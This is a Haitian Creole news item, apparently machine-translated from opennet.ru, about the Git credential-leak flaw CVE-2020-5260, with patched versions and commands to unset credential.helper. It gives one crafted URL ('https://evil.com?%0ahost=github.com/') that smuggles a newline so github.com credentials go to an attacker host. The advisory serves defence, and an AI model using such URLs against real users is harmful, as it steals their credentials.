Git kalifikasyon vilnerabilite leakage

Pibliye degaje korektif nan sistèm kontwòl sous distribiye Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ak 2.17.4, nan ki elimine vilnerabilite (CVE-2020-5260) nan moun kap okipe a "credential.helper", ki lakòz kalifikasyon yo voye bay move lame a lè yon kliyan git jwenn aksè nan yon depo lè l sèvi avèk yon URL ki gen fòma espesyal ki gen yon karaktè newline. Yo ka itilize vilnerabilite a pou fè aranjman pou kalifikasyon nan yon lòt lame yo dwe voye nan yon sèvè kontwole pa atakè a.

Lè w ap espesifye yon URL tankou "https://evil.com?%0ahost=github.com/", moun k ap okipe kalifikasyon an lè w ap konekte ak evil.com lame a ap pase paramèt otantifikasyon ki espesifye pou github.com. Pwoblèm nan rive lè w ap fè operasyon tankou "git clone", ki gen ladan trete URL pou submodules (pa egzanp, "git submodule update" pral otomatikman trete URL yo espesifye nan fichye .gitmodules ki soti nan depo a). Vilnerabilite a pi danjere nan sitiyasyon kote yon pwomotè klon yon depo san yo pa wè URL la, pou egzanp, lè w ap travay ak submodul, oswa nan sistèm ki fè aksyon otomatik, pou egzanp, nan script bati pake.

Pou bloke frajilite nan nouvo vèsyon entèdi pase yon karaktè newline nan nenpòt valè transmèt nan pwotokòl la echanj kalifikasyon. Pou distribisyon, ou ka swiv lage mizajou pake yo sou paj yo dbyan, Ubentu, rhel, SUSE/openSUSE, Feutr, Arch, FreeBSD.

Kòm yon solisyon pou bloke pwoblèm nan rekòmande Pa sèvi ak credential.helper lè w ap jwenn aksè nan depo piblik epi pa sèvi ak "git clone" nan mòd "--recurse-submodules" ak depo ki pa tcheke. Pou konplètman enfim handler la credential.helper, ki fè sa prezèvasyon ak rekipere modpas nan kachèt, pwoteje depo oswa yon dosye ki gen modpas, ou ka itilize kòmandman yo:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Sous: opennet.ru